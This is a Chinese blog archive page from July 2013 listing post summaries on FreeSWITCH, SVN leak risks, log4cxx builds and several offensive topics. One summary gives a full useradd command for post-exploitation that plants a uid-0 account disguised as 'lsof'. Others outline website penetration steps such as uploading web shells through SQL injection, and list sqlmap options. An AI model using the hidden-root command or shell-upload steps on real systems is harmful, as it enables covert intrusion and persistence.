07 2013 档案

在同一台服务器上启动多个 FreeSWITCH 实例
摘要：有时候，需要用到多个FreeSWITCH进行测试，或者需要在一台服务器上部署多个“不兼容”的系统。我们在这一节探讨一下怎么做。背景故事几年前我还在Idapted工作的时候，由于需要连接Skype及Google Talk。就曾经做过这样的部署（如下图，附录中也有）。 |--- PSTN gateways/-------\ |--- FS-skype| FS |--------------|--- FS-gtalk\-------/ |--- FS-skype2 ... 阅读全文

posted @ 2013-07-31 16:36 cn三少<script></script> 阅读(2342) 评论(0) 推荐(0) 编辑

freeswitch与外部网关链接
摘要：我建了一个 Freeswitch 内核研究 交流群， 45211986， 欢迎加入, 另外，提供基于SIP的通信服务器及客户端解决方案,承接 sip/ims 视频客户端开发，支持接入sip软交换,ims核心网，支持 语音，视频，即时通信功能，视频格式支持 h263,h264，mpeg4 软编软解，提供硬件编解码接口对接，提供服务器，有兴趣请联系我。注册到freeswitch的客户端可以互相拨打，但是当客户端想通过freeswitch呼叫那些并没有注册到freeswitch上的客户端怎么办？这就需要freeswitch与外部网关链接，比如与另一个sip server或者pstn测的运营商网络链接 阅读全文

posted @ 2013-07-31 16:00 cn三少<script></script> 阅读(3389) 评论(0) 推荐(0) 编辑

freeswitch录音功能
摘要：首先备份/usr/local/freeswitch/conf/dialplan/default.xml 。然后vi编辑default.xml ，在 下面加入以下语句即可录音。 大家应该看明白了，录音会自动存放在${base_dir}/recordings/archive下。 阅读全文

posted @ 2013-07-31 15:57 cn三少<script></script> 阅读(1054) 评论(0) 推荐(0) 编辑

SVN安装配置及安全注意事项
摘要：两个脚本：svn遍历脚本.zipwooyun上也是已经有非常多的svn泄露网站信息的事件，有的甚至由此导致整个服务器沦陷：WooYun: 【盛大180天渗透纪实】第四章.SVN猎手 （某站SVN信息泄露+设计问题导致服务器沦陷）WooYun: 爱拍svn泄露，有被脱裤危险，想起了csdn....WooYun: 优酷某分站SVN信息及某sql文件泄漏WooYun: 淘宝网某应用svn信息导致代码泄露WooYun: 鲜果网怕是所有应用要沦陷了？参考：Subversion快速入门教程使用Subversion进行版本控制用Apache和Subversion搭建安全的版本控制环境centos svn安装 阅读全文

posted @ 2013-07-31 14:22 cn三少<script></script> 阅读(361) 评论(0) 推荐(0) 编辑

log4cxx在linux下的编译使用
摘要：最近在linux下使用log4cxx库，按照其官方文档提供的方法来进行编译，不能成功，又利用google搜索了好几个中文博客上讲述在linux下编译使用log4cxx库的方法，依然不能成功，在这里我奉劝写博客或是转载博客指导人的朋友们，首先您起码得自己按照您写的或是转载的编译通过了再发表文章吧，其中有几处明显的低级错误，另外，建议您把你编译时的具体的linux系统及版本附带上，这样才能够成一条完整的信息链，一定要对自己或是转载的文章负责。下面我把我编译log4cxx过程给大家讲述下：系统平台CentOS 6.3 linux内核版本 2.6 g++ (GCC) 4.4.6以下是详细的编译过程：. 阅读全文

posted @ 2013-07-28 11:46 cn三少<script></script> 阅读(767) 评论(0) 推荐(0) 编辑

linux一条命令添加一个root级别账户并设置密码
摘要：内网机器提权添加账户，无回显，设置密码就不好弄，下面就是添加一个root级别的账户并设置密码的命令?1useradd -p `openssl passwd -1 -salt 'lsof' admin` -u 0 -o -g root -G root -s /bin/bash -d /usr/bin/lsof lsof命令解释useradd 添加用户-p `openssl passwd -1 -salt 'lsof' admin` 这个里面的指的是设置用户的密码，里面的lsof差不多是密钥之类的，可以随便写， admin是明文密码-u 0 -o 添加一个uid为 阅读全文

posted @ 2013-07-25 12:01 cn三少<script></script> 阅读(833) 评论(0) 推荐(0) 编辑

网站渗透的一些经验
摘要：1.无论什么站，无论什么语言，我要渗透，第一件事就是扫目录，最好一下扫出个上传点，直接上传shell，诸位不要笑，有时候你花很久搞一个站，最后发现有个现成的上传点，而且很容易猜到，不过这种情况发生在asp居多！2.asp（aspx）+MSSQL先考虑注入，一般的注入都有DBowner权限可以直接写shell；如果写不了，或者web与数据库分离，那就猜数据，从后台下手了，后台可以上传或者改配置文件；3.asp（aspx）+ACCESS拿shell一般只有3种方法，一是前台上传或者注入进后台上传；二是注入进后台改配置文件；三是注入进后台备份数据库或者暴库后知道是asp或者asa数据库于是直接写一句 阅读全文

posted @ 2013-07-25 09:17 cn三少<script></script> 阅读(393) 评论(0) 推荐(0) 编辑

sqlmap使用笔记
摘要：-u #注入点-f #指纹判别数据库类型-b #获取数据库版本信息-p #指定可测试的参数(?page=1&id=2 -p “page,id”)-D “”#指定数据库名-T “”#指定表名-C “”#指定字段-s “”#保存注入过程到一个文件,还可中断，下次恢复在注入(保存：-s “xx.log” 恢复:-s “xx.log” –resume)–columns #列出字段–current-user #获取当前用户名称–current-db #获取当前数据库名称–users #列数据库所有用户–passwords #数据库用户所有密码–privileges #查看用户权限(–privil 阅读全文

posted @ 2013-07-24 23:48 cn三少<script></script> 阅读(835) 评论(0) 推荐(0) 编辑

linux下查看cc攻击
摘要：什么是CC攻击?CC攻击就是利用大量代理服务器对目标计算机发起大量连接，导致目标服务器资源枯竭造成拒绝服务。那么如何判断查询CC攻击呢?本文主要介绍了一些Linux下判断CC攻击的命令。查看所有80端口的连接数netstat -nat|grep -i "80"|wc -l对连接的IP按连接数量进行排序netstat -anp | grep 'tcp\|udp' | awk '{print $5}' | cut -d: -f1 | sort | uniq -c | sort -nnetstat -ntu | awk '{print $5 阅读全文

posted @ 2013-07-12 15:40 cn三少<script></script> 阅读(324) 评论(0) 推荐(0) 编辑

导航

< 2025年3月 >
日 一 二 三 四 五 六
23 24 25 26 27 28 1
2 3 4 5 6 7 8
9 10 11 12 13 14 15
16 17 18 19 20 21 22
23 24 25 26 27 28 29
30 31 1 2 3 4 5
点击右上角即可分享
微信分享提示